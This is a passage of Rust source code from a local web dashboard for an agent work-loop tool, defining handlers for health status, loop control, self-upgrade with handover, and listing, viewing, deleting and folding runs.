1722 (asset_headers(mime), body).into_response()
1723}
1724
1725async fn index(headers: header::HeaderMap) -> Response {
1726 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1727}
1728
1729async fn app_css(headers: header::HeaderMap) -> Response {
1730 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1731}
1732
1733async fn app_js(headers: header::HeaderMap) -> Response {
1734 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1735}
1736
1737#[derive(Debug, Serialize)]
1739struct HealthView {
1740 version: &'static str,
1741 home: String,
1742 queue_rev: u64,
1743 runs_rev: u64,
1744 questions_rev: u64,
1756 talks_rev: u64,
1758 notifications_rev: u64,
1760 notifications_unread: usize,
1763 loop_rev: u64,
1768 runs_unreadable: usize,
1776 disk: DiskView,
1784 questions_open: usize,
1790 questions_needs_owner: usize,
1800 daemon: DaemonView,
1801 #[serde(rename = "loop")]
1807 looping: LoopView,
1808 update: UpdateView,
1815 upgrade: Option<UpgradeProgressView>,
1819}
1820
1821#[derive(Debug, Serialize)]
1828struct UpdateView {
1829 available: bool,
1831 to: Option<String>,
1833}
1834
1835#[derive(Debug, Serialize)]
1837struct UpgradeProgressView {
1838 stage: updater::Stage,
1839 from: String,
1840 to: Option<String>,
1841 waiting_on: Option<String>,
1844 started_at: Timestamp,
1845 updated_at: Timestamp,
1846 detail: Option<String>,
1847 stuck_for_secs: Option<i64>,
1850 stuck_kind: Option<updater::StallKind>,
1853 handover_alive: bool,
1856}
1857
1858fn should_spawn_recheck(cfg: &Update) -> bool {
1865 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1866}
1867
1868fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1880 if progress.is_some_and(|p| !p.stage.terminal()) {
1881 return false;
1882 }
1883 checker.should_check()
1884}
1885
1886fn recheck_poll_period(cfg: &Update) -> Duration {
1899 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1900}
1901
1902async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1926 loop {
1927 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1928 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1929 if !should_spawn_recheck(&cfg.update) {
1930 continue;
1931 }
1932 let Some(checker) = updater::Checker::new(&cfg.update) else {
1933 continue;
1934 };
1935 let progress = updater::read_progress(&home);
1936 if !update_recheck_due(&checker, progress.as_ref()) {
1937 continue;
1938 }
1939 if let Err(e) = checker.newer_release().await {
1940 tracing::warn!("background update recheck failed: {e:#}");
1941 }
1942 }
1943}
1944
1945fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
1951 let default;
1952 let cfg = match cfg {
1953 Some(cfg) => cfg,
1954 None => {
1955 default = Config::default();
1956 &default
1957 }
1958 };
1959 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1960 match latest {
1961 Some(latest) => UpdateView {
1962 available: true,
1963 to: Some(latest.tag_name),
1964 },
1965 None => UpdateView {
1966 available: false,
1967 to: None,
1968 },
1969 }
1970}
1971
1972fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1978 let now = Timestamp::now();
1979 let lease = updater::read_lease(&ui.home);
1980 let alive = updater::live_lease(&progress, lease.as_ref(), now);
1981 let run_id = alive
1982 .and_then(|l| l.parked_run.as_deref())
1983 .or(progress.parked_run.as_deref());
1984 let waiting_on = (progress.stage == updater::Stage::Parking)
1985 .then_some(run_id)
1986 .flatten()
1987 .map(|id| {
1988 let waited = alive.map_or_else(String::new, |l| {
1989 let secs = updater::waited_secs(l, now);
1990 format!(" (waited {} min so far)", secs / 60)
1991 });
1992 match read_run(&ui.runs, id).ok() {
1993 Some(run) => format!(
1994 "run {} is finishing {} before the address is handed over{waited}",
1995 run.short(),
1996 run.status.as_str()
1997 ),
1998 None => format!("run {id} is finishing before the address is handed over{waited}"),
1999 }
2000 });
2001 let detail = progress
2002 .detail
2003 .clone()
2004 .or_else(|| updater::read_note(&ui.home, &progress));
2005 let stalled = updater::stall(&progress, lease.as_ref(), now);
2006 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2007 UpgradeProgressView {
2008 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2009 stuck_kind: stalled.map(|s| s.kind),
2010 handover_alive: alive.is_some(),
2011 stage: progress.stage,
2012 from: progress.from,
2013 to: progress.to,
2014 waiting_on,
2015 started_at: progress.started_at,
2016 updated_at: progress.updated_at,
2017 detail,
2018 }
2019}
2020
2021#[derive(Debug, Serialize)]
2026struct DiskView {
2027 #[serde(skip_serializing_if = "Option::is_none")]
2029 free_bytes: Option<u64>,
2030 runs_bytes: u64,
2032 worktrees_bytes: u64,
2034 #[serde(skip_serializing_if = "Option::is_none")]
2036 cache_bytes: Option<u64>,
2037}
2038
2039impl DiskView {
2040 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2042 let cache_bytes = cfg
2043 .and_then(|cfg| cfg.cache_dir())
2044 .map(|dir| crate::disk::dir_size(&dir));
2045 Self {
2046 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2047 runs_bytes: crate::disk::dir_size(&ui.runs),
2048 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2049 cache_bytes,
2050 }
2051 }
2052}
2053
2054#[derive(Debug, Serialize)]
2056struct DaemonView {
2057 running: bool,
2058 idle: Option<bool>,
2059 pid: Option<u32>,
2060 current: Vec<daemon::Current>,
2064 completed: Option<u64>,
2065 stale_for_secs: Option<i64>,
2066}
2067
2068impl DaemonView {
2069 fn of(status: Option<daemon::Reading>) -> Self {
2073 let Some(status) = status else {
2074 return Self {
2075 running: false,
2076 idle: None,
2077 pid: None,
2078 current: Vec::new(),
2079 completed: None,
2080 stale_for_secs: None,
2081 };
2082 };
2083 let now = Timestamp::now();
2084 let age = status.age_secs(now);
2085 Self {
2086 running: status.running(now),
2087 idle: Some(status.idle),
2088 pid: status.pid,
2089 current: status.current,
2090 completed: Some(status.completed),
2091 stale_for_secs: age,
2092 }
2093 }
2094}
2095
2096async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2097 blocking(move || {
2098 let reading = daemon::read_status(&ui.home);
2102 let loop_rev = ui.lock_loop().rev;
2106 let cfg = deputy_config(&ui.repo);
2109 let update = cached_update_view(cfg.as_ref());
2110 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2111 Ok(Json(HealthView {
2112 version: env!("CARGO_PKG_VERSION"),
2113 home: ui.home.display().to_string(),
2114 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2115 runs_rev: runs_revision(&ui.runs),
2116 questions_rev: ui.questions.revision(),
2117 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2118 notifications_rev: ui.notices.revision(),
2119 notifications_unread: ui.notices.count_unread(),
2120 loop_rev,
2121 runs_unreadable: runs_unreadable(&ui.runs),
2122 questions_open: ui.questions.count_open(),
2123 questions_needs_owner: ui.questions.count_needs_owner(),
2124 daemon: DaemonView::of(reading.clone()),
2125 looping: ui.loop_view(reading),
2126 disk: DiskView::of(&ui, cfg.as_ref()),
2127 update,
2128 upgrade,
2129 }))
2130 })
2131 .await
2132}
2133
2134#[derive(Debug, Serialize)]
2136struct LoopView {
2137 running: bool,
2139 stopping: bool,
2147 parking: bool,
2155 owned: bool,
2163 repo: String,
2166 merge: Option<String>,
2169 last_error: Option<String>,
2177 daemon: DaemonView,
2180}
2181
2182#[derive(Debug, Clone, Copy)]
2191struct Foreign {
2192 pid: Option<u32>,
2194}
2195
2196impl Foreign {
2197 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2200 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2204 }
2205
2206 fn who(&self) -> String {
2209 match self.pid {
2210 Some(pid) => format!("another magi process (pid {pid})"),
2211 None => "another magi process".to_owned(),
2212 }
2213 }
2214}
2215
2216type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2221
2222fn launch_daemon(
2224 opts: daemon::Opts,
2225 stop: daemon::Stop,
2226) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2227 Box::pin(daemon::serve_until(opts, stop))
2228}
2229
2230#[derive(Debug, Default)]
2232struct LoopState {
2233 live: Option<Live>,
2235 rev: u64,
2243 last_error: Option<String>,
2246 resume_after_handover: bool,
2251}
2252
2253#[derive(Debug)]
2255struct Live {
2256 stop: daemon::Stop,
2258 handle: tokio::task::JoinHandle<()>,
2263 opts: daemon::Opts,
2267}
2268
2269impl Live {
2270 fn alive(&self) -> bool {
2272 !self.handle.is_finished()
2273 }
2274}
2275
2276fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2283 state.lock().unwrap_or_else(PoisonError::into_inner)
2284}
2285
2286async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2288 blocking(move || {
2289 let reading = daemon::read_status(&ui.home);
2290 Ok(Json(ui.loop_view(reading)))
2291 })
2292 .await
2293}
2294
2295#[derive(Debug, Deserialize)]
2301#[serde(deny_unknown_fields)]
2302struct LoopCommand {
2303 running: bool,
2304 #[serde(default)]
2314 park: bool,
2315}
2316
2317async fn loop_post(
2325 State(ui): State<Arc<Ui>>,
2326 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2327) -> ApiResult<Json<LoopView>> {
2328 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2331 blocking(move || {
2332 let reading = daemon::read_status(&ui.home);
2333 let foreign = Foreign::of(reading.as_ref());
2334 if body.running {
2335 ui.start_loop(foreign)?;
2336 } else {
2337 ui.stop_loop(foreign, body.park)?;
2338 }
2339 Ok(Json(ui.loop_view(reading)))
2340 })
2341 .await
2342}
2343
2344#[derive(Debug, Serialize)]
2346struct UpgradeView {
2347 from: String,
2349 to: Option<String>,
2351 parked: Option<String>,
2353 detail: String,
2355}
2356
2357fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2360 progress.filter(|p| !p.stage.terminal())
2361}
2362
2363async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2387 let reading = daemon::read_status(&ui.home);
2388 if let Some(other) = Foreign::of(reading.as_ref()) {
2389 return Err(ApiError::conflict(format!(
2390 "the loop belongs to {}, so replacing this binary would leave \
2391 that process running an old one against the same queue. Upgrade \
2392 where it was started.",
2393 other.who()
2394 )));
2395 }
2396
2397 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2402 return Err(ApiError::conflict(
2403 "another request is already preparing an upgrade",
2404 ));
2405 };
2406 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2407 return Err(ApiError::conflict(
2408 "an upgrade is already in progress (this process started one and it \
2409 has not finished or failed yet)",
2410 ));
2411 }
2412 let recorded = updater::read_progress(&ui.home);
2413 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2414 return Err(ApiError::conflict(format!(
2415 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2416 stays stuck, restart the deck; on start it settles a stale record.",
2417 p.stage.as_str(),
2418 p.from,
2419 p.to.as_deref().unwrap_or("?"),
2420 )));
2421 }
2422
2423 if crate::updater::disabled_by_env() {
2429 return Ok((
2430 StatusCode::OK,
2431 Json(UpgradeView {
2432 from: env!("CARGO_PKG_VERSION").to_owned(),
2433 to: None,
2434 parked: None,
2435 detail: format!(
2436 "Automatic updates are disabled by {}. Nothing was parked \
2437 and nothing restarted.",
2438 crate::updater::NO_AUTOUPDATE_ENV
2439 ),
2440 }),
2441 ));
2442 }
2443
2444 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2449 let from = env!("CARGO_PKG_VERSION").to_owned();
2450 let latest = match crate::updater::Checker::new(&cfg.update) {
2451 Some(checker) => checker
2452 .newer_release()
2453 .await
2454 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2455 None => None,
2456 };
2457 let Some(latest) = latest else {
2458 return Ok((
2459 StatusCode::OK,
2460 Json(UpgradeView {
2461 from,
2462 to: None,
2463 parked: None,
2464 detail: "Already on the newest release. Nothing was parked \
2465 and nothing restarted."
2466 .to_owned(),
2467 }),
2468 ));
2469 };
2470
2471 let parked = ui.park_for_upgrade()?;
2474 let detail = match &parked {
2475 Some(run) => format!(
2480 "Run {} is parking at its next step, which can take as long as \
2481 the step it is on - up to an hour for an implement wave. The \
2482 deck replaces itself once it parks, comes back, and the loop \
2483 carries that run on from where it stopped. Nothing is lost if \
2484 you close this.",
2485 crate::run::short_of(run)
2486 ),
2487 None => "The deck replaces itself and comes back. Nothing was in \
2488 flight to park."
2489 .to_owned(),
2490 };
2491
2492 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2496 progress.parked_run = parked.clone();
2497 updater::write_progress_logged(&ui.home, &progress);
2501
2502 let home = ui.home.clone();
2503 let looping = ui.looping();
2504 ui.upgrade_spawned
2505 .store(true, std::sync::atomic::Ordering::SeqCst);
2506 let spawned = Arc::clone(&ui.upgrade_spawned);
2507 tokio::spawn(async move {
2508 if let Err(e) = upgrade_and_restart(home.clone()).await {
2509 tracing::error!("the upgrade did not complete: {e:#}");
2510 lock_or_recover(&looping).resume_after_handover = false;
2511 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2515 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2518 }
2519 });
2520
2521 Ok((
2522 StatusCode::ACCEPTED,
2523 Json(UpgradeView {
2524 from,
2525 to: Some(latest.tag_name),
2526 parked,
2527 detail,
2528 }),
2529 ))
2530}
2531
2532async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2537 crate::updater::run_self_update(true, false, true).await?;
2540 updater::log_step(&home, "binary replaced - recording the replaced stage");
2541 if let Some(mut progress) = updater::read_progress(&home) {
2542 progress.advance(updater::Stage::Replaced);
2543 updater::write_progress_logged(&home, &progress);
2544 }
2545 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2546 HANDOVER.notify_one();
2547 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2548 Ok(())
2549}
2550
2551#[derive(Debug, Serialize)]
2557struct RunSummary {
2558 id: String,
2559 short: String,
2560 status: String,
2561 done: bool,
2562 instruction: String,
2563 title: String,
2564 repo: String,
2565 repo_name: String,
2566 created_at: String,
2567 updated_at: String,
2568 candidates: usize,
2569 viable: usize,
2570 judges: usize,
2571 winner: Option<char>,
2572 reviews: usize,
2573 quota_losses: usize,
2574 event: Option<String>,
2575 superseded_by: Option<String>,
2580 waiting: bool,
2587 live: crate::run::Liveness,
2591 pr: Option<crate::run::PrRecord>,
2593 unmerged_by_design: bool,
2599 origin_label: String,
2602}
2603
2604impl RunSummary {
2605 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2606 Self {
2607 id: state.id.clone(),
2608 short: state.short().to_owned(),
2609 status: status_word(state.status),
2610 done: state.status.done(),
2611 unmerged_by_design: state.unmerged_by_design(),
2612 instruction: state.instruction.clone(),
2613 title: title_from(&state.instruction, TITLE_MAX),
2614 repo: state.repo.display().to_string(),
2615 repo_name: state
2616 .repo
2617 .file_name()
2618 .map(|n| n.to_string_lossy().into_owned())
2619 .unwrap_or_default(),
2620 created_at: state.created_at.to_string(),
2621 updated_at: state.updated_at.to_string(),
2622 candidates: state.candidates.len(),
2623 viable: state.viable().len(),
2624 judges: state.config.graph.judges,
2625 winner: state.winner().map(|c| c.label),
2626 reviews: state.reviews.len(),
2627 quota_losses: state.quota.len(),
2628 event: state.events.last().map(|e| e.message.clone()),
2629 waiting,
2630 live,
2631 superseded_by: None,
2634 pr: state.pr.clone(),
2635 origin_label: crate::run::origin_label(state.origin.as_ref()),
2636 }
2637 }
2638}
2639
2640fn status_word(status: RunStatus) -> String {
2643 status.as_str().to_owned()
2647}
2648
2649#[derive(Debug, Deserialize)]
2651struct ListQuery {
2652 #[serde(default)]
2653 limit: Option<usize>,
2654 ids: Option<String>,
2656}
2657
2658impl ListQuery {
2659 fn contains(&self, id: &str) -> bool {
2660 self.ids
2661 .as_ref()
2662 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2663 }
2664}
2665
2666async fn runs_list(
2667 State(ui): State<Arc<Ui>>,
2668 Query(q): Query<ListQuery>,
2669) -> ApiResult<Json<Vec<RunSummary>>> {
2670 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2671 blocking(move || {
2672 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2673 let states = run_ids(&ui.runs)
2674 .into_iter()
2675 .filter_map(|id| read_run(&ui.runs, &id).ok())
2680 .take(limit)
2681 .filter(|run| q.contains(&run.id));
2682 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2683 let summaries = summarize(
2684 states,
2685 &open_runs,
2686 &claimed,
2687 &superseded,
2688 |p| probe.borrow_mut().status(p),
2689 |p| probe.borrow_mut().started_at(p),
2690 );
2691 Ok(Json(summaries))
2692 })
2693 .await
2694}
2695
2696fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2701 let open_runs: HashSet<String> = ui
2702 .questions
2703 .list()
2704 .into_iter()
2705 .filter(|q| q.status.open())
2706 .map(|q| q.run)
2707 .collect();
2708 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2709 .into_iter()
2710 .map(|c| c.run)
2711 .collect();
2712 (open_runs, claimed, ui.queue.superseded())
2713}
2714
2715fn summarize<I, S, D>(
2721 states: I,
2722 open_runs: &HashSet<String>,
2723 claimed: &HashSet<String>,
2724 superseded: &HashMap<String, String>,
2725 mut status_q: S,
2726 mut identity_q: D,
2727) -> Vec<RunSummary>
2728where
2729 I: IntoIterator<Item = RunState>,
2730 S: FnMut(u32) -> Option<bool>,
2731 D: FnMut(u32) -> Option<String>,
2732{
2733 states
2734 .into_iter()
2735 .map(|state| {
2736 let waiting = open_runs.contains(&state.id);
2737 let live =
2738 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2739 let mut row = RunSummary::of(&state, waiting, live);
2740 row.superseded_by = superseded
2741 .get(&state.id)
2742 .map(String::as_str)
2743 .map(crate::run::short_of)
2744 .map(str::to_owned);
2745 row
2746 })
2747 .collect()
2748}
2749
2750#[derive(Debug, Serialize)]
2757struct RunDetailView {
2758 #[serde(flatten)]
2759 state: RunState,
2760 instruction_md: Vec<md::Node>,
2761 #[serde(flatten)]
2765 prose_md: RunProseMd,
2766 live: crate::run::Liveness,
2781 unmerged_by_design: bool,
2786 done: bool,
2791 superseded_by: Option<String>,
2799 latest_attempt: Option<LatestAttempt>,
2813 task: Option<TaskRef>,
2816 origin_label: String,
2820}
2821
2822#[derive(Debug, Serialize)]
2824struct TaskRef {
2825 id: String,
2826 short: String,
2827 title: String,
2828 source_label: String,
2830 source_link: Option<SourceLink>,
2832 status: &'static str,
2834 attempts: usize,
2835 max_attempts: usize,
2836 is_latest: bool,
2838 latest: Option<RunBrief>,
2840 finished_by: Option<RunBrief>,
2842 closed_by_hand: bool,
2844}
2845
2846#[derive(Debug, PartialEq, Eq, Serialize)]
2848struct SourceLink {
2849 kind: &'static str,
2851 id: String,
2853 href: String,
2855}
2856
2857fn encode_segment(raw: &str) -> String {
2859 let mut out = String::with_capacity(raw.len());
2860 for b in raw.bytes() {
2861 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2862 out.push(b as char);
2863 } else {
2864 out.push_str(&format!("%{b:02X}"));
2865 }
2866 }
2867 out
2868}
2869
2870fn source_link(source: &Source) -> Option<SourceLink> {
2874 let Source::Agent { run, node } = source else {
2875 return None;
2876 };
2877 let (kind, route) = if node == crate::queue::CHAT_NODE {
2878 ("chat", "chat")
2879 } else {
2880 ("run", "runs")
2881 };
2882 Some(SourceLink {
2883 kind,
2884 id: run.clone(),
2885 href: format!("#/{route}/{}", encode_segment(run)),
2886 })
2887}
2888
2889#[derive(Debug, Serialize)]
2891struct RunBrief {
2892 id: String,
2893 short: String,
2894 status: Option<&'static str>,
2896 outcome: String,
2898}
2899
2900fn task_outcome(
2903 task: &Task,
2904 this_run: &str,
2905 max_attempts: usize,
2906 read: impl Fn(&str) -> Option<RunState>,
2907) -> TaskRef {
2908 let history = task_history(task, read);
2909 let brief = |h: &TaskRunView| RunBrief {
2910 id: h.id.clone(),
2911 short: h.short.clone(),
2912 status: h.status,
2913 outcome: h.exit.edge_label(h.status),
2914 };
2915 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2916 let latest = if is_latest {
2917 None
2918 } else {
2919 history.last().map(brief)
2920 };
2921 let done = task.status == TaskStatus::Done;
2922 let finished_by = done
2923 .then(|| {
2924 history
2925 .iter()
2926 .rev()
2927 .find(|h| {
2928 matches!(
2929 h.exit,
2930 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2931 )
2932 })
2933 .map(brief)
2934 })
2935 .flatten();
2936 TaskRef {
2937 short: task.short().to_owned(),
2938 title: task.title.clone(),
2939 id: task.id.clone(),
2940 source_label: task.source.label(),
2941 source_link: source_link(&task.source),
2942 status: task.status.as_str(),
2943 attempts: task.attempts,
2944 max_attempts,
2945 is_latest,
2946 latest,
2947 closed_by_hand: done && finished_by.is_none(),
2948 finished_by,
2949 }
2950}
2951
2952#[derive(Debug, Serialize)]
2954struct LatestAttempt {
2955 id: String,
2956 short: String,
2957 resolved: bool,
2968 status: RunStatus,
2971 done: bool,
2973}
2974
2975#[derive(Debug, Default, Serialize)]
2977struct RunProseMd {
2978 advice_md: Option<AdviceMd>,
2980 candidate_summaries_md: Vec<Vec<md::Node>>,
2982 reviews_md: Vec<RoundMd>,
2984}
2985
2986#[derive(Debug, Default, Serialize)]
2987struct AdviceMd {
2988 synthesis: Vec<md::Node>,
2989 approaches: Vec<Vec<md::Node>>,
2991}
2992
2993#[derive(Debug, Default, Serialize)]
2994struct RoundMd {
2995 reviewers: Vec<ReviewerMd>,
2997 reconsideration: Vec<Vec<md::Node>>,
2999 fix: Option<FixMd>,
3000}
3001
3002#[derive(Debug, Default, Serialize)]
3003struct ReviewerMd {
3004 summary: Vec<md::Node>,
3005 findings: Vec<Vec<md::Node>>,
3007}
3008
3009#[derive(Debug, Default, Serialize)]
3010struct FixMd {
3011 notes: Vec<md::Node>,
3012 rejected: Vec<Vec<md::Node>>,
3014}
3015
3016fn run_prose_md(state: &RunState) -> RunProseMd {
3018 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3019 RunProseMd {
3020 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3021 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3022 approaches: a
3023 .records
3024 .iter()
3025 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3026 .collect(),
3027 }),
3028 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3029 reviews_md: state
3030 .reviews
3031 .iter()
3032 .map(|round| RoundMd {
3033 reviewers: round
3034 .reviews
3035 .iter()
3036 .map(|rec| ReviewerMd {
3037 summary: nodes(&rec.summary),
3038 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3039 })
3040 .collect(),
3041 reconsideration: round
3042 .reconsideration
3043 .iter()
3044 .map(|rv| nodes(&rv.reason))
3045 .collect(),
3046 fix: round.fix.as_ref().map(|fix| FixMd {
3047 notes: nodes(&fix.notes),
3048 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3049 }),
3050 })
3051 .collect(),
3052 }
3053}
3054
3055impl RunDetailView {
3056 fn of(
3057 state: RunState,
3058 live: crate::run::Liveness,
3059 superseded_by: Option<String>,
3060 latest_attempt: Option<LatestAttempt>,
3061 task: Option<TaskRef>,
3062 ) -> Self {
3063 Self {
3064 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3065 prose_md: run_prose_md(&state),
3066 origin_label: crate::run::origin_label(state.origin.as_ref()),
3067 live,
3068 unmerged_by_design: state.unmerged_by_design(),
3069 done: state.status.done(),
3070 superseded_by,
3071 latest_attempt,
3072 task,
3073 state,
3074 }
3075 }
3076}
3077
3078async fn run_detail(
3079 State(ui): State<Arc<Ui>>,
3080 Path(id): Path<String>,
3081) -> ApiResult<Json<RunDetailView>> {
3082 blocking(move || {
3083 let id = resolve_run(&ui.runs, &id)?;
3084 let state = read_run(&ui.runs, &id)?;
3085 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3086 let live = state.liveness(daemon_claims);
3087 let superseded_by = ui
3088 .queue
3089 .superseded_by(&id)
3090 .as_deref()
3091 .map(crate::run::short_of)
3092 .map(str::to_owned);
3093 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3097 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3098 short: head.short().to_owned(),
3099 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3100 status: head.status,
3101 done: head.status.done(),
3102 id: head.id,
3103 })
3104 });
3105 let max_attempts = daemon::Opts::default().max_attempts;
3106 let task = ui
3107 .queue
3108 .list()
3109 .into_iter()
3110 .find(|t| t.runs.contains(&id))
3111 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3112 Ok(Json(RunDetailView::of(
3113 state,
3114 live,
3115 superseded_by,
3116 latest_attempt,
3117 task,
3118 )))
3119 })
3120 .await
3121}
3122
3123async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3132 let (id, unreadable) = {
3133 let ui = Arc::clone(&ui);
3134 blocking(move || {
3135 let id = resolve_run(&ui.runs, &id)?;
3136 match read_run(&ui.runs, &id) {
3137 Ok(state) => {
3138 let in_flight =
3139 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3140 state
3141 .ensure_can_delete(in_flight)
3142 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3143 let dir = ui.runs.join(&id);
3144 std::fs::remove_dir_all(&dir)
3145 .with_context(|| format!("remove run directory {}", dir.display()))?;
3146 Ok((id, false))
3147 }
3148 Err(_) => {
3149 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3153 return Err(ApiError::conflict(format!(
3154 "run {id} is being worked on by a live daemon right now"
3155 )));
3156 }
3157 Ok((id, true))
3158 }
3159 }
3160 })
3161 .await?
3162 };
3163 if unreadable {
3164 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3165 .await
3166 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3167 }
3168 let ui = Arc::clone(&ui);
3169 let done = id.clone();
3170 blocking(move || {
3171 ui.questions.abandon_for_run(
3174 &done,
3175 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3176 )?;
3177 Ok(())
3178 })
3179 .await?;
3180 Ok(StatusCode::NO_CONTENT)
3181}
3182
3183async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3207 let (id, state) = {
3208 let ui = Arc::clone(&ui);
3209 blocking(move || {
3210 let id = resolve_run(&ui.runs, &id)?;
3211 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3212 return Err(ApiError::conflict(format!(
3213 "run {id} is being worked on by a live daemon right now"
3214 )));
3215 }
3216 let state = read_run(&ui.runs, &id).ok();
3217 Ok((id, state))
3218 })
3219 .await?
3220 };
3221 let removed = match state {
3222 Some(mut state) => {
3223 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3224 .await
3225 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3226 if removed.is_empty() {
3231 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3232 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3233 }
3234 removed
3235 }
3236 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3237 .await
3238 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3239 };
3240 Ok(Json(FoldView {
3241 run: id,
3242 removed_count: removed.len(),
3243 removed,
3244 }))
3245}
3246
3247#[derive(Debug, Serialize)]
3249struct FoldView {
3250 run: String,
3251 removed: Vec<String>,
3253 removed_count: usize,
3254}
3255
3256#[derive(Debug, Deserialize)]
3259struct FoldMergedBody {
3260 #[serde(default)]
3261 pr_url: String,
3262}
3263
3264async fn run_fold_merged(
3284 State(ui): State<Arc<Ui>>,
3285 Path(id): Path<String>,
3286 Json(body): Json<FoldMergedBody>,
3287) -> ApiResult<Json<FoldMergedView>> {
3288 let pr_url = body.pr_url.trim().to_owned();
3289 if pr_url.is_empty() {
3290 return Err(ApiError::bad_request("pr_url is required"));
3291 }
3292 let (id, mut state) = {
3293 let ui = Arc::clone(&ui);
3294 blocking(move || {
3295 let id = resolve_run(&ui.runs, &id)?;
3296 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3297 return Err(ApiError::conflict(format!(
3298 "run {id} is being worked on by a live daemon right now"
3299 )));
3300 }
3301 let state = read_run(&ui.runs, &id)?;
3302 Ok((id, state))
3303 })
3304 .await?
3305 };
3306 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3307 .await
3308 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3309 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3310 .await
3311 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
